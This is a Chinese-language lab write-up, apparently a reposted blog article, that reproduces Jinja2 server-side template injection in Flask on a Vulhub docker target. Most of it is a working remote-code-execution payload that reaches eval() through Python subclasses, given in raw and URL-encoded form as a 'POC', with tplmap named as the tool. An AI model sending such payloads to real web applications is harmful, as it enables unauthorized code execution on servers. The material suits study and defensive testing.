Flask(Jinja2) 服務端模板注入漏洞
- 一、漏洞描述
- 二、漏洞影響
- 三、漏洞復現
- 1、環境搭建
- 2、漏洞復現
- 四、漏洞POC
- 五、參考鏈接
- 六、利用工具
一、漏洞描述
模版引擎被 Web 應用程式廣泛用于呈現動態資料,不安全的模版語法可以嵌入用戶輸入實作服務器端的模版注入,這是一個經常出現的嚴重漏洞,模版注入可以直接攻擊 Web 服務器內部結構,并獲取到遠程代碼執行權限(RCE),
二、漏洞影響
三、漏洞復現
1、環境搭建
使用 Vulhub 在服務器上搭建:
cd /vulhub/flask/ssti
docker-compose up -d
訪問127.0.0.1:8000,進入到主頁面:

2、漏洞復現
第一步:判斷是否存在漏洞:

其存在 GET 方式的傳參,通過傳入?name={{7*7}}測驗:

回傳49,說明存在 SSTI 漏洞存在,
第二步:漏洞利用
通過 eval() 函式并執行任意 Python 代碼:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
即訪問:http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
得到回顯:

四、漏洞POC
?id=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
五、參考鏈接
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
六、利用工具
tplmap

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/282851.html
標籤:其他
